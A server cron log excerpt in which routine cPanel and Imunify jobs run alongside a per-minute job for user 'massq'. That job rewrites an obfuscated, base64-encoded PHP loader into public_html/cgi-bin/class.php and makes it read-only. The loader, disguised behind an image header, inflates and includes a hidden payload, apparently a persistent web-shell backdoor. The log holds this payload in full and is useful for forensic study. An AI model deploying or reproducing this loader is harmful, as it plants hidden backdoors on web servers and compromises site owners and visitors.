Sep  8 18:52:01 server CROND[22587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:52:01 server CROND[22588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:52:01 server CROND[22589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:53:01 server CROND[23230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:53:01 server CROND[23231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:53:01 server CROND[23232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:54:01 server CROND[23614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:54:01 server CROND[23615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:54:01 server CROND[23616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:55:01 server CROND[24003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:55:01 server CROND[24004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:55:01 server CROND[24007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:55:01 server CROND[24008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:55:01 server CROND[24009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:55:01 server CROND[24010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:55:01 server CROND[24011]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:56:01 server CROND[24841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:56:01 server CROND[24843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:56:01 server CROND[24842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:57:01 server CROND[25227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:57:01 server CROND[25228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:57:01 server CROND[25229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:57:01 server CROND[25230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:58:01 server CROND[25622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:58:01 server CROND[25623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:58:01 server CROND[25624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:59:01 server CROND[26104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:59:01 server CROND[26106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:59:01 server CROND[26105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:00:01 server CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:00:01 server CROND[26507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:00:01 server CROND[26508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:00:01 server CROND[26512]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 19:00:01 server CROND[26510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:00:01 server CROND[26513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:00:01 server CROND[26511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:00:01 server CROND[26517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:00:01 server CROND[26515]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:01:01 server CROND[27375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:01:01 server CROND[27377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:01:01 server CROND[27376]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 19:01:01 server CROND[27378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:01:01 server run-parts(/etc/cron.hourly)[27376]: starting 0anacron
Sep  8 19:01:01 server run-parts(/etc/cron.hourly)[27396]: finished 0anacron
Sep  8 19:02:01 server CROND[27781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:02:01 server CROND[27783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:02:01 server CROND[27782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:03:01 server CROND[28231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:03:01 server CROND[28232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:03:01 server CROND[28233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:04:01 server CROND[28717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:04:01 server CROND[28718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
